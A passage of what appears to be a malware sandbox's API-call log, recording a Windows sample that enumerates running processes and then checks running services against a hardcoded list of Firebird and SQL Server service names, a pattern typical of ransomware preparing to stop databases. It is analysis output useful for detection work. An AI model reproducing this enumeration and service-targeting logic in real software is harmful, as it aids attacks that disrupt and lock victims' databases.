cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="try-gtk.exe")) returned 1 [0086.740] lstrlenW (lpString="try-gtk.exe") returned 11 [0086.741] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counseling tmp.exe")) returned 1 [0086.751] lstrlenW (lpString="counseling tmp.exe") returned 18 [0086.752] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius_johnston_transmission.exe")) returned 1 [0086.752] lstrlenW (lpString="radius_johnston_transmission.exe") returned 32 [0086.752] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="j-portions-folders.exe")) returned 1 [0086.753] lstrlenW (lpString="j-portions-folders.exe") returned 22 [0086.753] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="samuel-clubs.exe")) returned 1 [0086.753] lstrlenW (lpString="samuel-clubs.exe") returned 16 [0086.753] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gaps_industrial.exe")) returned 1 [0086.754] lstrlenW (lpString="gaps_industrial.exe") returned 19 [0086.754] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jerry pure.exe")) returned 1 [0086.755] lstrlenW (lpString="jerry pure.exe") returned 14 [0086.755] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powerseller.exe")) returned 1 [0086.755] lstrlenW (lpString="powerseller.exe") returned 15 [0086.755] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="non firewall.exe")) returned 1 [0086.756] lstrlenW (lpString="non firewall.exe") returned 16 [0086.756] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coal-cottage-vt.exe")) returned 1 [0086.757] lstrlenW (lpString="coal-cottage-vt.exe") returned 19 [0086.757] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="revealsprimarilywalk.exe")) returned 1 [0086.758] lstrlenW (lpString="revealsprimarilywalk.exe") returned 24 [0086.758] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0086.759] lstrlenW (lpString="dllhost.exe") returned 11 [0086.759] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer_knitting_map.exe")) returned 1 [0086.760] lstrlenW (lpString="summer_knitting_map.exe") returned 23 [0086.760] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="latina_rv_anything.exe")) returned 1 [0086.760] lstrlenW (lpString="latina_rv_anything.exe") returned 22 [0086.760] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephonyassumption.exe")) returned 1 [0086.761] lstrlenW (lpString="telephonyassumption.exe") returned 23 [0086.761] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bd guidance.exe")) returned 1 [0086.762] lstrlenW (lpString="bd guidance.exe") returned 15 [0086.762] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfb8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0086.762] lstrlenW (lpString="conhost.exe") returned 11 [0086.762] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf90, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0086.763] lstrlenW (lpString="conhost.exe") returned 11 [0086.763] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lang hl gis.exe")) returned 1 [0086.763] lstrlenW (lpString="lang hl gis.exe") returned 15 [0086.764] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0086.764] lstrlenW (lpString="dllhost.exe") returned 11 [0086.764] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.768] lstrlenW (lpString="svchost.exe") returned 11 [0086.768] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0086.769] lstrlenW (lpString="dllhost.exe") returned 11 [0086.769] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0086.770] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0086.770] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0086.770] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0086.770] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0086.771] lstrlenW (lpString="conhost.exe") returned 11 [0086.771] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0086.771] lstrlenW (lpString="svchost.exe") returned 11 [0086.772] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0086.772] lstrlenW (lpString="cmd.exe") returned 7 [0086.773] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0086.773] lstrlenW (lpString="conhost.exe") returned 11 [0086.773] Process32NextW (in: hSnapshot=0x2f0, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0086.774] CloseHandle (hObject=0x2f0) returned 1 [0086.774] Sleep (dwMilliseconds=0x1f4) [0087.788] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f280 [0087.789] EnumServicesStatusExW (in: hSCManager=0x47f280, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0087.790] GetLastError () returned 0xea [0087.790] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d5a) returned 0x36840c8 [0087.790] EnumServicesStatusExW (in: hSCManager=0x47f280, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36840c8, cbBufSize=0x1d5a, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36840c8, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0087.791] CloseServiceHandle (hSCObject=0x47f280) returned 1 [0087.791] lstrlenW (lpString="Appinfo") returned 7 [0087.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0087.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0087.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0087.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0087.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0087.791] lstrlenW (lpString="AppXSvc") returned 7 [0087.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0087.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0087.791] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0087.791] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0087.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0087.791] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0087.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0087.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0087.792] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0087.792] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0087.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0087.792] lstrlenW (lpString="Audiosrv") returned 8 [0087.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0087.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0087.792] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0087.792] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0087.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0087.792] lstrlenW (lpString="BFE") returned 3 [0087.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0087.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0087.792] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0087.792] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0087.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0087.792] lstrlenW (lpString="BITS") returned 4 [0087.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0087.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0087.792] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0087.792] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0087.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0087.792] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0087.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0087.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0087.792] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0087.792] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0087.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0087.792] lstrlenW (lpString="CDPSvc") returned 6 [0087.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0087.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0087.793] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0087.793] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0087.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0087.793] lstrlenW (lpString="ClickToRunSvc") returned 13 [0087.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0087.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0087.793] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0087.793] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0087.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0087.793] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0087.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0087.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0087.793] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0087.793] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0087.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0087.793] lstrlenW (lpString="CryptSvc") returned 8 [0087.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0087.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0087.793] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0087.793] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0087.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0087.793] lstrlenW (lpString="DcomLaunch") returned 10 [0087.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0087.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0087.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0087.793] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0087.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0087.793] lstrlenW (lpString="DeviceAssociationService") returned 24 [0087.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0087.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0087.793] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0087.793] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0087.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0087.794] lstrlenW (lpString="Dhcp") returned 4 [0087.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0087.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0087.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0087.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0087.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0087.794] lstrlenW (lpString="Dnscache") returned 8 [0087.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0087.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0087.794] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0087.794] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0087.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0087.794] lstrlenW (lpString="DoSvc") returned 5 [0087.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0087.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0087.794] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0087.794] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0087.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0087.794] lstrlenW (lpString="DPS") returned 3 [0087.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0087.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0087.794] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0087.794] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0087.794] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0087.794] lstrlenW (lpString="DusmSvc") returned 7 [0087.794] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0087.794] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0087.794] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0087.794] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0087.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0087.795] lstrlenW (lpString="EventLog") returned 8 [0087.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0087.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0087.795] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0087.795] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0087.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0087.795] lstrlenW (lpString="EventSystem") returned 11 [0087.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0087.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0087.795] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0087.795] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0087.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0087.795] lstrlenW (lpString="FontCache") returned 9 [0087.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0087.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0087.795] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0087.795] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0087.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0087.795] lstrlenW (lpString="gpsvc") returned 5 [0087.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0087.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0087.795] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0087.795] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0087.795] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0087.795] lstrlenW (lpString="iphlpsvc") returned 8 [0087.795] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0087.795] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0087.796] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0087.796] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0087.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0087.796] lstrlenW (lpString="KeyIso") returned 6 [0087.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0087.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0087.796] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0087.796] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0087.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0087.796] lstrlenW (lpString="LanmanServer") returned 12 [0087.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0087.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0087.796] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0087.796] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0087.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0087.796] lstrlenW (lpString="LanmanWorkstation") returned 17 [0087.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0087.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0087.796] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0087.796] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0087.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0087.796] lstrlenW (lpString="lfsvc") returned 5 [0087.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0087.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0087.796] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0087.796] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0087.796] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0087.796] lstrlenW (lpString="lmhosts") returned 7 [0087.796] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0087.796] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0087.797] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0087.797] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0087.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0087.797] lstrlenW (lpString="LSM") returned 3 [0087.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0087.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0087.797] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0087.797] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0087.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0087.797] lstrlenW (lpString="MapsBroker") returned 10 [0087.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0087.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0087.797] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0087.797] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0087.797] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0087.797] lstrlenW (lpString="MpsSvc") returned 6 [0087.797] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0087.797] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0087.797] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 